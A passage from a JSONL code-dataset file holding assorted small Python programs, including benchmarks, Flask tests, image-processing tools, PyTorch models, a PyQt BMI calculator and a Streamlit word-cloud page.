is 10 by defualt\n\n\n\n#Now save the model so I can try it on my local machine\nmodel.save('model.h5')\n\n\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"373334744","text":"def minMax(t : list) -> tuple:\r\n if len(t) == 1:\r\n return (t[0],t[0])\r\n else:\r\n m = len(t)//2\r\n (minInf, maxInf) = minMax(t[:m])\r\n (minSup, maxSup) = minMax(t[m:])\r\n return min(minInf,minSup), max(maxInf,maxSup)\r\n\r\ndef minMaxRechercheSequentielle(t: list) -> tuple:\r\n mini = t[0]\r\n maxi = t[0] \r\n for value in t:\r\n if value > maxi:\r\n maxi = value\r\n elif value < mini:\r\n mini = value\r\n return mini, maxi\r\n\r\nimport time\r\nfrom random import randint\r\ntabTest = [randint(-1000000,10000000) for k in range(10000000)]\r\n\r\nstart = time.perf_counter()\r\nminMax(tabTest)\r\nend = time.perf_counter()\r\nprint(end-start)\r\n\r\nstart = time.perf_counter()\r\nminMaxRechercheSequentielle(tabTest)\r\nend = time.perf_counter()\r\nprint(end - start)\r\n","sub_path":"exo/nsi terminal/cours/chap 8 - diviser pour regner/minMax2.py","file_name":"minMax2.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"634095993","text":"import json\n\ndef test_main(app, client):\n res = client.get('/main')\n assert res.status_code == 200\n expected = {'Hello': 'World'}\n assert expected == json.loads(res.get_data(as_text=True))\n\ndef test_index(app, client):\n res = client.get('/')\n assert res.status_code == 200\n expected = \"Hello, Welcome to Solaris Off The Grid Systems!\"\n assert expected == res.get_data(as_text = True)\n\ndef test_home(app, client):\n res = client.get('/home')\n assert res.status_code == 200\n expected = \"IoT Data Page\"\n assert expected == res.get_data(as_text=True)\n\n\ndef test_appget(app, client):\n res = client.get('/appget')\n assert res.status_code == 200\n expected = \"HTTP Respose Code 200: Data None\"\n assert expected == res.get_data(as_text=True)\n","sub_path":"main/solis-app/tests/test_main.py","file_name":"test_main.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"254640455","text":"from PIL import Image\n\nimport argparse\nimport json\nimport random\nimport os.path as osp\nimport os\n\ndef choose_random(boxes, num):\n chosen = {}\n\n random.shuffle(boxes)\n\n boxes = boxes[:num*50] if len(boxes) > num*50 else boxes\n\n for i in range(1, 25):\n obj_boxes = []\n for b in boxes:\n if b['category_id'] == i:\n obj_boxes.append(b)\n\n random.shuffle(obj_boxes)\n if len(obj_boxes) < num:\n chosen[i] = obj_boxes\n else:\n chosen[i] = obj_boxes[:num]\n\n return chosen\n\n\ndef splice_objects(boxes, img_dir, output):\n print()\n for i, boxes in boxes.items():\n out_dir = osp.join(output, str(i))\n if not osp.isdir(out_dir):\n os.mkdir(out_dir)\n for j, b in enumerate(boxes):\n img = Image.open(osp.join(img_dir, b['fname']))\n p = list(map(int, b['bbox']))\n cropped = img.crop((p[0], p[1], p[0]+p[2], p[1]+p[3]))\n cropped.save(osp.join(out_dir, \"{}.jpg\".format(j)))\n\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--bbox\")\n parser.add_argument(\"--img_dir\")\n parser.add_argument(\"--output\")\n parser.add_argument(\"--num_random\", type=int)\n args = parser.parse_args()\n\n with open(args.bbox, \"r\") as input:\n boxes = json.load(input)\n\n chosen = choose_random(boxes, args.num_random)\n\n splice_objects(chosen, args.img_dir, args.output)\n\n print()","sub_path":"tools/splice_objects.py","file_name":"splice_objects.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"402873542","text":"import numpy as np\nimport yaml\nimport os\nimport os.path as osp\nfrom glob import glob\nimport json\nfrom mmcls.datasets import BaseDataset\n\nclass MultiClassDataset(BaseDataset):\n def __init__(self, *args, class_dic=None, tp, **kws):\n self.class_dic = class_dic\n self.tp = tp\n super().__init__(*args, **kws)\n\n def load_annotations(self):\n class_dic = self.class_dic\n task_nr = len(class_dic)\n\n folders = sorted(set(k for i in class_dic.values() for j in i.values() for k in j))\n\n fullnames = set()\n splits = {}\n for folder in folders:\n if folder not in splits:\n d = json.load(open(self.ann_file+f'/{folder}.json'))\n for k, v in d.items():\n d[k] = set(v)\n splits[folder] = d\n\n img_dir = osp.join(self.data_prefix, folder)\n folder_fullnames = [i for i in glob(img_dir+'/*.jpg') if osp.basename(i) in splits[folder][self.tp]]\n\n fullnames |= set(folder_fullnames)\n\n tsk_id2name = {tsk_idx: tsk_name for tsk_idx, tsk_name in enumerate(class_dic)}\n cls_id2name = {}\n for tsk_name, v in class_dic.items():\n cls_id2name[tsk_name] = {\n cls_id: cls_name for cls_id, cls_name in enumerate(v)}\n\n data_infos = []\n for fullname in fullnames:\n folder = osp.basename(osp.dirname(fullname))\n gt_label = - np.ones(task_nr, dtype='i8')\n for tsk_idx, (tsk_name, tsk) in enumerate(class_dic.items()):\n for cls_idx, (cls_name, folders) in enumerate(tsk.items()):\n if folder in folders:\n gt_label[tsk_idx] = cls_idx\n\n fname = osp.basename(fullname)\n info = {\n 'classes': class_dic,\n 'tsk_id2name': tsk_id2name,\n 'cls_id2name': cls_id2name,\n 'img_prefix': osp.dirname(fullname),\n 'img_info': {'filename': fname},\n 'gt_label': gt_label,\n 'txt_label': [\n (tsk_id2name[i], cls_id2name[tsk_id2name[i]][l])\n for i, l in enumerate(gt_label)\n ],\n }\n data_infos.append(info)\n\n print (f\"loaded dataset {self.tp}\", len(data_infos))\n return data_infos\n","sub_path":"bookrecog_server/deepcls/mmcls/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":2357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"298746242","text":"import sys\nimport pandas as pd\nfrom utils import *\n\n\ndef get_visits_insights(oauth_token, repo_name):\n print('Getting views insights')\n g = Github(oauth_token)\n repo = g.get_repo(repo_name)\n visits_traffic = repo.get_views_traffic()\n views = visits_traffic['views']\n\n gt_df = []\n for entry in views:\n line = [entry.timestamp, entry.uniques, entry.count]\n gt_df.append(line)\n gt_df = pd.DataFrame(gt_df, columns=['timestamp', 'uniques', 'count'])\n print('Here\\'s what we\\'ve got today:')\n print(gt_df.to_string())\n return gt_df\n\nif __name__ == '__main__':\n\n if len(sys.argv) == 2:\n my_oauth_token = sys.argv[1]\n print('I need a repo to get insights from, and you didn\\'t pass any')\n get_all_repos(my_oauth_token, '')\n\n elif len(sys.argv) == 3:\n my_oauth_token = sys.argv[1]\n my_repo = sys.argv[2]\n if get_all_repos(my_oauth_token, my_repo):\n df = get_visits_insights(my_oauth_token, my_repo)\n history_clones('../output/views.csv', df)\n","sub_path":"src/get_visits_insights.py","file_name":"get_visits_insights.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"17488117","text":"import pandas as pd\n\n\n# Abrir fichero de asignaturas y datos.\ndfdata = pd.read_csv('data.csv')\ndfasigs = pd.read_csv('asignaturas.csv')\n\n# Para cada asignatura, calcular la media y guardarla en vector de medias.\nmean = []\nfor codass in dfasigs['CODASS']:\n mean_codass = dfdata[dfdata['CODASS'] == codass]['NF'].mean() \n mean.append(mean_codass)\n\n# Añadir vector de medias como columna de Nota Media (NM) en fichero de asignaturas.\ndfasigs['NM'] = mean\n\n# Guardar archivo.\ndfasigs.to_csv('asignaturas.csv', encoding='UTF-8', index=False)\n","sub_path":"Auxiliares/means.py","file_name":"means.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"7603259","text":"import numpy as np\nimport cv2 as cv\nimg = cv.imread(\"resouces/1.png\")\n# 默认线性插值\nimg = cv.resize(img,(500,500))\n# BGR格式,只读R通道像素值\npix = img[100,120,2]\nprint(pix,img.shape,img.size,img.dtype)\ncv.imshow(\"img\",img)\ncv.waitKey(0)\nroi = img[100:200,100:200]\ncv.imshow(\"roi\",roi)\ncv.waitKey(0)\n\nimg[350:450,350:450] = roi\ncv.imshow(\"houlai\",img)\ncv.waitKey(0)\n\n# 抽离通道, 合并通道\nmv=cv.split(img)\ncv.imshow(\"dantongdao\",mv[0])\ncv.waitKey(0)\n\ndst = cv.merge((mv[0],mv[1],mv[2]))\ncv.imshow(\"dst\",dst)\ncv.waitKey(0)","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"118805711","text":"import torch\r\nimport torchvision\r\nimport torchvision.transforms as transforms\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport torch.optim as optim\r\nimport dgl\r\nimport networkx as nx\r\nimport sys\r\nimport argparse\r\n\r\n\r\ndef main(input):\r\n\r\n # TODO\r\n # input of rna seq one-hot encoded\r\n\r\n # set hyperparameters\r\n thresh = input.threshold\r\n\r\n metric = input.metric\r\n\r\n # choose if it is possible to run code on gpu, else run on cpu\r\n device = get_device()\r\n\r\n transform = get_transformer()\r\n\r\n trainset, testset = get_dataset(transform)\r\n\r\n trainloader, testloader = get_dataloader(trainset, testset)\r\n\r\n classes = get_classes()\r\n\r\n net = Net().to(device)\r\n\r\n #train(net, trainloader, device)\r\n\r\n net = test(testloader, classes)\r\n\r\n w1, w2 = net.get_weights()\r\n\r\n sim_val = get_sim_val(w1, metric)\r\n\r\n print(sim_val)\r\n\r\n adjacency_mat = make_adjacency_mat(sim_val, thresh)\r\n\r\n print(adjacency_mat)\r\n\r\n draw_graph(adjacency_mat)\r\n\r\n\r\ndef get_device():\r\n \"\"\"\r\n Decides which device to use for compuation (cpu or gpu)\r\n :return: device as string\r\n \"\"\"\r\n return torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\r\n\r\n\r\ndef get_transformer():\r\n \"\"\"\r\n Defines the transformer for the input data. Images will be normalized and transformed to a tensor\r\n \"\"\"\r\n return transforms.Compose(\r\n [transforms.ToTensor(),\r\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))])\r\n\r\n\r\ndef get_dataset(transformer):\r\n \"\"\"\r\n Will return the CIFAR10 dataset splitted into train and test\r\n :param transformer: transforms\r\n :return: train as dataset, test dataset\r\n \"\"\"\r\n\r\n trainset = torchvision.datasets.CIFAR10(root='./data', train=True,\r\n download=True, transform=transformer)\r\n\r\n testset = torchvision.datasets.CIFAR10(root='./data', train=False,\r\n download=True, transform=transformer)\r\n\r\n return trainset, testset\r\n\r\n\r\ndef get_dataloader(trainset, testset):\r\n \"\"\"\r\n creates a dataloader based on the train and testset\r\n :param trainset: dataset\r\n :param testset: dataset\r\n :return: trainloader, testloader as dataloader\r\n \"\"\"\r\n trainloader = torch.utils.data.DataLoader(trainset, batch_size=4,\r\n shuffle=True, num_workers=0)\r\n\r\n\r\n testloader = torch.utils.data.DataLoader(testset, batch_size=4,\r\n shuffle=False, num_workers=0)\r\n\r\n return trainloader, testloader\r\n\r\n\r\ndef get_classes():\r\n \"\"\"\r\n returns the names for the classes\r\n \"\"\"\r\n return ('plane', 'car', 'bird', 'cat',\r\n 'deer', 'dog', 'frog', 'horse', 'ship', 'truck')\r\n\r\n\r\ndef train(net, trainloader, device):\r\n \"\"\"\r\n trains a network\r\n \"\"\"\r\n\r\n criterion = nn.CrossEntropyLoss()\r\n optimizer = optim.SGD(net.parameters(), lr=0.001, momentum=0.9)\r\n\r\n for epoch in range(2): # loop over the dataset multiple times\r\n\r\n running_loss = 0.0\r\n for i, data in enumerate(trainloader, 0):\r\n # get the inputs; data is a list of [inputs, labels]\r\n inputs, labels = data[0].to(device), data[1].to(device)\r\n\r\n # zero the parameter gradients\r\n optimizer.zero_grad()\r\n\r\n # forward + backward + optimize\r\n outputs = net(inputs)\r\n loss = criterion(outputs, labels)\r\n loss.backward()\r\n optimizer.step()\r\n\r\n # print statistics\r\n running_loss += loss.item()\r\n if i % 2000 == 1999: # print every 2000 mini-batches\r\n print('[%d, %5d] loss: %.3f' %\r\n (epoch + 1, i + 1, running_loss / 2000))\r\n running_loss = 0.0\r\n\r\n print('Finished Training')\r\n\r\n PATH = './cifar_net.pth'\r\n torch.save(net.state_dict(), PATH)\r\n\r\n\r\ndef test(testloader, classes):\r\n \"\"\"\r\n Tests the network\r\n \"\"\"\r\n\r\n PATH = './cifar_net.pth'\r\n\r\n net = Net()\r\n net.load_state_dict(torch.load(PATH))\r\n\r\n correct = 0\r\n total = 0\r\n with torch.no_grad():\r\n for data in testloader:\r\n images, labels = data\r\n outputs = net(images)\r\n _, predicted = torch.max(outputs.data, 1)\r\n total += labels.size(0)\r\n correct += (predicted == labels).sum().item()\r\n\r\n print('Accuracy of the network on the 10000 test images: %d %%' % (\r\n 100 * correct / total))\r\n\r\n class_correct = list(0. for i in range(10))\r\n class_total = list(0. for i in range(10))\r\n with torch.no_grad():\r\n for data in testloader:\r\n images, labels = data\r\n outputs = net(images)\r\n _, predicted = torch.max(outputs, 1)\r\n c = (predicted == labels).squeeze()\r\n for i in range(4):\r\n label = labels[i]\r\n class_correct[label] += c[i].item()\r\n class_total[label] += 1\r\n\r\n for i in range(10):\r\n print('Accuracy of %5s : %2d %%' % (\r\n classes[i], 100 * class_correct[i] / class_total[i]))\r\n\r\n return net\r\n\r\n\r\nclass Net(nn.Module):\r\n \"\"\"\r\n The network\r\n \"\"\"\r\n def __init__(self):\r\n super(Net, self).__init__()\r\n self.conv1 = nn.Conv2d(3, 6, 5)\r\n self.weight1 = self.conv1.weight.data.numpy()\r\n self.pool = nn.MaxPool2d(2, 2)\r\n self.conv2 = nn.Conv2d(6, 16, 5)\r\n self.weight2 = self.conv1.weight.data.numpy()\r\n self.fc1 = nn.Linear(16 * 5 * 5, 120)\r\n self.fc2 = nn.Linear(120, 84)\r\n self.fc3 = nn.Linear(84, 10)\r\n\r\n def forward(self, x):\r\n x = self.pool(F.relu(self.conv1(x)))\r\n x = self.pool(F.relu(self.conv2(x)))\r\n x = x.view(-1, 16 * 5 * 5)\r\n x = F.relu(self.fc1(x))\r\n x = F.relu(self.fc2(x))\r\n x = self.fc3(x)\r\n return x\r\n\r\n def get_weights(self):\r\n return self.weight1, self.weight2\r\n\r\n\r\ndef get_sim_val(weight_matrices, metric):\r\n \"\"\"\r\n Given the weight matrices from a cnn layer and a metric, it will calculate all similarities according to the metric.\r\n It will return the results in a matrix\r\n :param weight_matrices: np.array\r\n :param metric: string\r\n \"\"\"\r\n num_filters = weight_matrices.shape[0]\r\n result = np.zeros((num_filters, num_filters))\r\n for i in range(num_filters):\r\n for j in range(num_filters):\r\n if i >= j:\r\n continue\r\n # currently take 0th input channel, when switching from RGB to RNA seq, there will be only one input channel\r\n x = weight_matrices[i, 0]\r\n y = weight_matrices[j, 0]\r\n result[i, j] = similarity(x, y, metric)\r\n return result\r\n\r\n\r\ndef similarity(mat1, mat2, sim_flag):\r\n \"\"\"\r\n decides which similarity metric to use to calculate the similarity between two matrices, and calculates it.\r\n :param mat1: np.array\r\n :param mat2: np.array\r\n :param sim_flag: string\r\n \"\"\"\r\n if sim_flag == 'simple':\r\n return simple_similarity(mat1, mat2)\r\n else:\r\n print('Invalid similarity measure, taking simple')\r\n return simple_similarity(mat1, mat2)\r\n\r\n\r\ndef simple_similarity(mat1, mat2):\r\n \"\"\"\r\n Calculates a simple similarity between two matrices. Formula:\r\n Sum of absolute differences between all corresponding entries\r\n :param mat1: np.array\r\n :param mat2: np.array\r\n :return: string\r\n \"\"\"\r\n # TODO only same sized matrices, check for different metric?\r\n n = mat1.shape[0]\r\n result = 0\r\n for i in range(n):\r\n for j in range(n):\r\n result += abs(mat1[i, j] - mat2[i, j])\r\n return result\r\n\r\n\r\ndef make_adjacency_mat(mat, t):\r\n \"\"\"\r\n Given a matrix with similarity values and a threshold, it will create an adjacency matrix setting an edge (1) only\r\n where the similarity is below a the threshold\r\n :param mat: np.array\r\n :param t: float\r\n :return: np.array\r\n \"\"\"\r\n mat[mat > t] = 0\r\n mat[mat != 0] = 1\r\n return mat\r\n\r\n\r\ndef draw_graph(adj_mat):\r\n \"\"\"\r\n Given an adjacency matrix it will draw a graph, where each edge is bidirectional\r\n :param adj_mat: np.array\r\n \"\"\"\r\n g = dgl.DGLGraph()\r\n num_nodes = adj_mat.shape[0]\r\n g.add_nodes(num_nodes)\r\n src, dst = get_edgelist(adj_mat, num_nodes)\r\n g.add_edges(src, dst)\r\n nx.draw(g.to_networkx(), with_labels=True)\r\n plt.show()\r\n\r\n\r\ndef get_edgelist(adj_mat, num_nodes):\r\n \"\"\"\r\n given an adjacency matrix and the number of nodes, it will create two lists, src and dst. The ith entry in src will\r\n be connected to the ith entry in dst as an edge\r\n :param adj_mat: np.array\r\n :param num_nodes: int\r\n :return: list, list\r\n \"\"\"\r\n src = list()\r\n dst = list()\r\n for i in range(num_nodes):\r\n for j in range(num_nodes):\r\n if i >= j:\r\n continue\r\n if adj_mat[i, j] == 1:\r\n src += [i, j]\r\n dst += [j, i]\r\n return src, dst\r\n\r\n\r\ndef parse_arguments(parser):\r\n\r\n parser.add_argument('--threshold', type=float, default=2.0, help='Threshold below which two matrices are'\r\n ' considered similar')\r\n\r\n parser.add_argument('--metric', type=str, default='simple', help='Name of the similarity metric to be used.\\n'\r\n 'Possible arguments:\\n'\r\n 'simple')\r\n\r\n args = parser.parse_args()\r\n\r\n return args\r\n\r\n\r\nif __name__ == '__main__':\r\n parser = argparse.ArgumentParser(description='Visualize similarity between filters of CNN as a graph')\r\n\r\n args = parse_arguments(parser)\r\n\r\n main(args)\r\n","sub_path":"filter_graph/filter_graph.py","file_name":"filter_graph.py","file_ext":"py","file_size_in_byte":9895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"388731431","text":"import torch\nimport torch.nn as nn\nimport torch.nn.init as init\nFACE_FEATURES = 1024\n\n\nclass DFHNet(nn.Module):\n\n def weights_init(self, m):\n classname = m.__class__.__name__\n if classname.find('Conv2d') != -1:\n init.xavier_normal_(m.weight.data)\n init.constant_(m.bias.data, 0.0)\n elif classname.find('ConvTranspose2d') != -1:\n init.xavier_normal_(m.weight.data)\n init.constant_(m.bias.data, 0.0)\n elif classname.find('Linear') != -1:\n init.xavier_normal_(m.weight.data)\n init.constant_(m.bias.data, 0.0)\n\n def __init__(self, hash_bits):\n super(DFHNet, self).__init__()\n\n self.spatial_features_1 = nn.Sequential(\n nn.Conv2d(3, 32, 2, 2),\n nn.BatchNorm2d(32),\n nn.ReLU(True),\n )\n\n self.spatial_features_2 = nn.Sequential(\n nn.Conv2d(32, 64, 2, 2),\n nn.BatchNorm2d(64),\n nn.ReLU(True),\n )\n\n self.spatial_features_3 = nn.Sequential(\n nn.Conv2d(64, 128, 2, 2),\n nn.BatchNorm2d(128),\n nn.ReLU(True),\n )\n\n self.fc = nn.Sequential(nn.Conv2d(128, 128, 1), nn.BatchNorm2d(128), nn.ReLU(True)) # size of output: 4\n\n self.upscales_1 = nn.Sequential(\n nn.ConvTranspose2d(128, 64, kernel_size=3, stride=2, padding=1, dilation=1, output_padding=1),\n nn.ReLU(True)\n )\n self.bn1 = nn.BatchNorm2d(64)\n\n self.upscales_2 = nn.Sequential(\n nn.ConvTranspose2d(64, 32, kernel_size=3, stride=2, padding=1, dilation=1, output_padding=1), # size of output: 16\n nn.ReLU(True)\n )\n self.bn2 = nn.BatchNorm2d(32)\n\n self.upscales_3 = nn.Sequential(\n nn.ConvTranspose2d(32, 16, kernel_size=3, stride=2, padding=1, dilation=1, output_padding=1),#size = 32, out_channel = 16\n nn.ReLU(True)\n )\n self.bn3 = nn.BatchNorm2d(16)\n\n self.upscales_4 = nn.Sequential(\n nn.Conv2d(16, 3, 1)\n )\n\n self.attention_conv1 = nn.Sequential(\n nn.Conv2d(3, 32, 3, 1, 1),\n nn.BatchNorm2d(32),\n nn.ReLU(True),\n )\n\n self.attention_conv2 = nn.Sequential(\n nn.Conv2d(32, 64, 3, 1, 1),\n nn.BatchNorm2d(64),\n nn.ReLU(True),\n )\n\n self.attention_conv3 = nn.Sequential(\n nn.Conv2d(64, 128, 3, 1, 1),\n nn.BatchNorm2d(128),\n nn.ReLU(True),\n )\n\n self.attention_conv4 = nn.Sequential(\n nn.Conv2d(128, 3, 1),\n nn.BatchNorm2d(3),\n nn.ReLU(True)\n )\n\n self.features = nn.Sequential(\n nn.Conv2d(3, 32, 3),\n nn.BatchNorm2d(32),\n nn.ReLU(True),\n nn.MaxPool2d(2, 2),\n\n nn.Conv2d(32, 64, 2),\n nn.BatchNorm2d(64),\n nn.ReLU(True),\n nn.MaxPool2d(2, 2),\n\n nn.Conv2d(64, 128, 2),\n nn.BatchNorm2d(128),\n nn.ReLU(True),\n nn.MaxPool2d(2, 2)\n )\n\n self.conv4 = nn.Sequential(\n nn.Conv2d(128, 256, 2),\n nn.BatchNorm2d(256),\n nn.ReLU(True),\n )\n\n self.face_features_layer = nn.Sequential(\n nn.Linear(2176, FACE_FEATURES),\n nn.BatchNorm1d(FACE_FEATURES),\n nn.ReLU(True)\n )\n\n self.hash_layer = nn.Sequential(\n nn.Linear(FACE_FEATURES, hash_bits),\n nn.BatchNorm1d(hash_bits),\n )\n\n self.apply(self.weights_init)\n\n def forward(self, x):\n \"\"\"\n args:\n x: input, size of 32 * 32\n \"\"\"\n # residual branch, encoder\n attention_mask_16 = self.spatial_features_1(x)\n attention_mask_8 = self.spatial_features_2(attention_mask_16)\n attention_mask_4 = self.spatial_features_3(attention_mask_8)\n attention_mask = self.fc(attention_mask_4) # 4 * 4\n\n # residual branch, decoder\n attention_mask = self.upscales_1(attention_mask)\n attention_mask = self.bn1(attention_mask + attention_mask_8)\n attention_mask = self.upscales_2(attention_mask)\n attention_mask = self.bn2(attention_mask + attention_mask_16)\n attention_mask = self.upscales_3(attention_mask)\n attention_mask = self.upscales_4(attention_mask)\n attention_mask = torch.sigmoid(attention_mask) # 32 * 32\n\n # trunk branch\n feature_trunk = self.attention_conv1(x)\n feature_trunk = self.attention_conv2(feature_trunk)\n feature_trunk = self.attention_conv3(feature_trunk)\n feature_trunk = self.attention_conv4(feature_trunk) # 32 * 32\n\n # element-wise product and sum\n x_with_mix_attention = attention_mask * feature_trunk\n feature_catenate = feature_trunk + x_with_mix_attention # 32 * 32\n\n # conv. block\n features_3 = self.features(feature_catenate) # size of output: 3 * 3 * 128\n features_4 = self.conv4(features_3) # size of output: 2 * 2 * 256\n\n features_a = torch.cat([features_3.view(features_3.size(0), -1), features_4.view(features_4.size(0), -1)], -1) # fusion layer\n features_a = self.face_features_layer(features_a) # fc layer, 2176--> 1024\n hash_a = self.hash_layer(features_a) # hashing layer, 1024 --> num_bits\n\n return hash_a\n\n\nif __name__ == '__main__':\n\n fake_data = torch.randn(2, 3, 32, 32)\n net = DFHNet(48)\n net(fake_data)\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"328552565","text":"# -*- coding: utf-8 -*-\n# author: Patricio Vidal\n\nimport sys\nfrom PyQt4 import QtCore, QtGui, uic\n\n# Carrega interficie\nform_class = uic.loadUiType(\"healthCalculator.ui\")[0]\n\n\nclass MyWindowClass(QtGui.QMainWindow, form_class):\n\n css1 = 'background-color: rgb(236,236,236); border: 1px solid rgb(204,204,204); border-radius: 4px'\n css2 = 'color: red; background-color: rgb(236,236,236); border: 1px solid rgb(204,204,204); border-radius: 4px'\n\n def __init__(self, parent=None):\n QtGui.QMainWindow.__init__(self, parent)\n self.setupUi(self)\n imc = QtGui.QPixmap('imatges_healthCalculator/IMC.png')\n self.imgResult.setPixmap(imc)\n QtCore.QObject.connect(self.fumador, QtCore.SIGNAL(\"clicked()\"), self.missatgeFumador)\n QtCore.QObject.connect(self.calcula, QtCore.SIGNAL(\"clicked()\"), self.mostrarResultats)\n\n def mostrarResultats(self):\n self.imc.setStyleSheet(self.css1)\n alcada = float(self.alcada.value())\n pes = float(self.pes.value())\n edat = self.edat.value()\n if pes != 0:\n if alcada != 0:\n res = round(pes / ((alcada / 100) ** 2), 2)\n self.imgResultat(res)\n self.imc.setText(str(res))\n else:\n self.missatgeAlcada()\n if self.dona.isChecked():\n res = int((210 - (edat * 0.5)) - (pes * 0.1))\n self.fcmax.setText(str(res))\n if self.home.isChecked():\n res = int((210 - (edat * 0.5)) - (pes * 0.1) + 4)\n self.fcmax.setText(str(res))\n else:\n self.missatgePes()\n\n def imgResultat(self, res):\n if res < 18.5:\n imc = QtGui.QPixmap('imatges_healthCalculator/IMC_critico.png')\n self.imc.setStyleSheet(self.css2)\n elif res < 25:\n imc = QtGui.QPixmap('imatges_healthCalculator/IMC_1.png')\n elif res < 30:\n imc = QtGui.QPixmap('imatges_healthCalculator/IMC_2.png')\n elif res < 35:\n imc = QtGui.QPixmap('imatges_healthCalculator/IMC_3.png')\n elif res < 40:\n imc = QtGui.QPixmap('imatges_healthCalculator/IMC_4.png')\n elif res < 80:\n imc = QtGui.QPixmap('imatges_healthCalculator/IMC_5.png')\n self.imc.setStyleSheet(self.css2)\n else:\n imc = QtGui.QPixmap('imatges_healthCalculator/IMC_critico.png')\n self.imc.setStyleSheet(self.css2)\n self.imgResult.setPixmap(imc)\n\n def missatgeFumador(self):\n QtGui.QMessageBox.warning(None, \"Atencio\", \"Fumar perjudica la seva salut\")\n\n def missatgeAlcada(self):\n QtGui.QMessageBox.warning(None, \"Atencio\", \"S'ha d'introduir l'alçada\")\n\n def missatgePes(self):\n QtGui.QMessageBox.warning(None, \"Atencio\", \"S'ha d'introduir el pes\")\n\n\napp = QtGui.QApplication(sys.argv)\nmyWindow = MyWindowClass(None)\nmyWindow.show()\napp.exec_()\n","sub_path":"pyqt/healthCalculator.py","file_name":"healthCalculator.py","file_ext":"py","file_size_in_byte":2924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"165345465","text":"import streamlit as st\nimport sqlite3\nfrom sqlite3 import Error\nimport pandas as pd \nfrom datetime import datetime\nfrom automate_upload import trigger_upload\nimport os \nfrom wordcloud import WordCloud, STOPWORDS, ImageColorGenerator\nimport matplotlib.pyplot as plt\n\ndef create_connection(db_file):\n conn = None\n try:\n conn = sqlite3.connect(db_file)\n return conn\n except Error as e:\n print(e)\n return conn\n\ndef app():\n conn = create_connection('qna_data.db')\n st.title('GoldenRetriever')\n st.header('This front end application allows you to easily know about what the employees are talking about!')\n st.markdown('View the source code [here](https://github.com/aimakerspace/goldenretriever)!')\n st.markdown('Visit our [community](https://makerspace.aisingapore.org/community/ai-makerspace/) and ask us a question!')\n df = pd.read_sql_query(\"SELECT * FROM userinput\", conn)\n st.header('Database Preview')\n st.write(df)\n st.markdown('# Word Cloud')\n # Create stopword list:\n stopwords = set(STOPWORDS)\n word_cloud_data = \" \".join(query for query in df.query_str)\n # Generate a word cloud image\n wordcloud = WordCloud(stopwords=stopwords, background_color=\"white\").generate(word_cloud_data)\n word_counts = WordCloud().process_text(word_cloud_data)\n print(word_counts)\n word_count_df = pd.DataFrame([[k, v]for k, v in word_counts.items()], columns=['Unique Word', 'Occurrence'])\n # Display the generated image:\n plt.imshow(wordcloud, interpolation='bilinear')\n plt.axis(\"off\")\n plt.show()\n st.pyplot()\n st.markdown('# Table Format of WordCloud')\n st.write(word_count_df)","sub_path":"app/streamlit/company_situation_analysis.py","file_name":"company_situation_analysis.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"463523692","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\ndosyaYol = input(\"Okunacak dosyayı yolu ile birlikte giriniz :\")\n\nokunacakDosya = open(dosyaYol,\"r\",encoding=\"utf-8\")\nif not okunacakDosya:\n\tprint(\"Hatalı giriş yaptınız\")\n\tsys.exit()\nelif okunacakDosya == \"\\n\":\n\tprint(\"Entera basmayın\")\n\tsys.exit()\noku = okunacakDosya.readline()\nwhile oku:\n\tprint(oku)\n\toku = okunacakDosya.readline()\n\nokunacakDosya.close()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"215681539","text":"# coding: utf-8\n\nif __name__ == '__main__':\n n = 30\n k = 5\n\n def f(n):\n if n == 1 or n == 2:\n return 1\n return f(n - 1) + f(n - 2) * k\n\n print(f(n))\n","sub_path":"rosalind/fib.py","file_name":"fib.py","file_ext":"py","file_size_in_byte":164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"55665439","text":"import os\n\n\ndef code_count(spath):\n result = []\n result.append(('title', 'blank lines', 'comment lines', 'code lines'))\n for file in os.listdir(spath):\n if os.path.splitext(file)[1] != '.py':\n continue\n blank = 0\n code = 0\n comment = 0\n with open(spath + file) as f:\n lines = f.readlines()\n for line in lines:\n # print('%r' % line)\n if len(line.strip('\\n')) == 0:\n blank += 1\n elif line.strip(' ').startswith('#'):\n comment +=1\n else:\n code += 1\n result.append((file, blank, comment, code))\n print(result)\n\n\nif __name__ == '__main__':\n 